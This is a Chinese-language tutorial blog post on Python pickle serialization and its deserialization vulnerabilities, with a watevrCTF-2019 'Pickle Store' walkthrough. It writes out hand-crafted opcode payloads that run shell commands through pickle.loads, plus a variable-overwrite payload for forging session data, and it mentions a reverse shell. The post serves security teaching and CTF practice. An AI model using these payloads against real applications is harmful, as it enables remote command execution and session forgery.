Python pickle

Yolololololo發表於2024-10-21

Python pickle

  • pickle在python中 實現物件結構的 序列化和反序列化
  • python序列化(Pickling)是一個將python物件層次結構轉換為 可以本地儲存 或者 網路傳輸的 位元組流的過程
  • python反序列化(unpickling) 是將位元組流還原為物件層次結構

資料序列化:就是把不能直接儲存的資料 儲存到磁碟中,從而延長生命週期

python 常用的系列化庫:picklejson

pickle模組可以將任意物件序列化成為二進位制的字串,並寫入檔案中,還可以從檔案中讀取並且轉為寫入時的型別

Pickle工作原理

由一串串獨立的opcode(指令集)組成,我們可以透過手寫opcode來構建

opcode

OpCode全稱Operation Code(操作碼)如十六進位制數0x90

常用的opcode

參考連結

基礎方法

方法 作用
dump 序列化寫入檔案
load 讀取檔案反序列化
dumps 序列化返回物件
loads 反序列化物件

序列化函式

pickle.hump(obj,file,[protocol])函式

接受三個引數,第一個引數包含要儲存在檔案中的物件,第二個引數事 以二進位制形式寫入時 所需檔案時 獲得的檔案物件,第三個參數列示序列化協議

舉個例子:

opcode=b'''cos
system
(S'whoami'
tR.'''

cos
system

(S'ls'

tR.

位元組碼為c,形式為c[moudle]\n[instance]\n,匯入os.system。並將函式壓入stack

位元組碼為(,向stack中壓入一個MARK。位元組碼為S,示例化一個字串物件'whoami'並將其壓入stack

位元組碼為t,尋找棧中MARK,並組合之間的資料為元組。然後透過位元組碼R執行os.system('whoami')

位元組碼為.,程式結束,將棧頂元素os.system('ls')作為返回值

import

opcode=b'''cos
system
(S'whoami'
tR.'''

pockle.loads(opcode)

反序列化函式

pickle.load(file)函式

一個例項

image-20241016210700522

image-20241016211005174

舉個例子,簡單看一下資料序列化的樣子

image-20241018152949984

參考文章

__getstate__函式

在序列化時呼叫,指定序列化 某些引數在反序列化時恢復引數

__setstate__函式

反序列化是配合 __getstate__函式呼叫

import pickle

class MyData:

    def __init__(self, x):

        self.x = x
        self.y = self.sqrt(x)

    def sqrt(self,x):
        return x**x

    def __getstate__(self):
        self.state = "ok"
        print("enter getstate")
        #  self.__dict__儲存關於self.xxx的一些東西
        odict = self.__dict__.copy()
        del odict['y']
        print(odict)
        return odict

    def __setstate__(self, input):
        print("enter setstate")
        print(input)
        self.x = input['x']
        self.y = self.sqrt(self.x)

obj = MyData(3)
# 序列化
print("序列化")
dumped = pickle.dumps(obj)
# 反序列化
print("反序列化")
loaded = pickle.loads(dumped)
print("反序列化結果", loaded.y)

__reduce__方法

用於物件的序列化,如果 __reduce__方法存在的話,pickle模組會呼叫物件的 __reduce__方法

__reduce__方法返回一個元組,包含兩個元素:一個callable和一個包含傳遞callable引數的元組,callable通常是一個函式或者類的建構函式

import pickle

class MyClass:
    def __init__(self, value):
        self.value = value

    def __reduce__(self):
        # 返回一個元組,包含兩個元素:
        # 1. 一個callable,用於從pickle狀態重建物件
        # 2. 一個元組,包含傳遞給callable的引數
        return (self.__class__, (self.value,))

# 建立一個物件
obj = MyClass(42)

# 序列化物件
serialized_obj = pickle.dumps(obj)

# 反序列化物件
deserialized_obj = pickle.loads(serialized_obj)

# 輸出反序列化後的物件
print(deserialized_obj.value)  # 輸出: 42

image-20241018145023002

參考教程

Pickle反序列化漏洞

當我們反序列化一串未知的二進位制位元組流時,可能會引發惡意的程式碼執行,因為無法確定該二進位制字串是否是惡意程式碼

命令執行

手寫opcode構造payload,達到一次實現多個命令的結果

import pickle
 
opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
 
#結果如下
xiaoh\34946
xiaoh\34946

例項化物件

import pickle
 
class Person:
    def __init__(self,age,name):
        self.age=age
        self.name=name
 
 
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''
 
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
 
###
<__main__.Person object at 0x00000223B2E14CD0>
18 Pickle

變數覆蓋

sessiontoken中,常常儲存了一些使用者資訊,因此我們可以透過變數覆蓋實現身份偽造,偽造tokensession

#secret.py
secret="This is a key"
import pickle
import secret
 
print("secret變數的值為:"+secret.secret)
 
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)
 
print("secret變數的值為:"+fake.secret)
 
###
secret變數的值為:This is a key
secret變數的值為:Hack!!!

[watevrCTF-2019]Pickle Store

image-20241017213652746

偽造session

#coding:utf8
import pickle
import base64

result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)	#使用b'...'是為了確保處理的是二進位制資料

image-20241018152328358

當嘗試買了個十塊錢的東西后,cookie發生了變化

image-20241018152246453

hmac驗證,利用反彈shell

image-20241018172147904

cat flag.txt得到flag

相關文章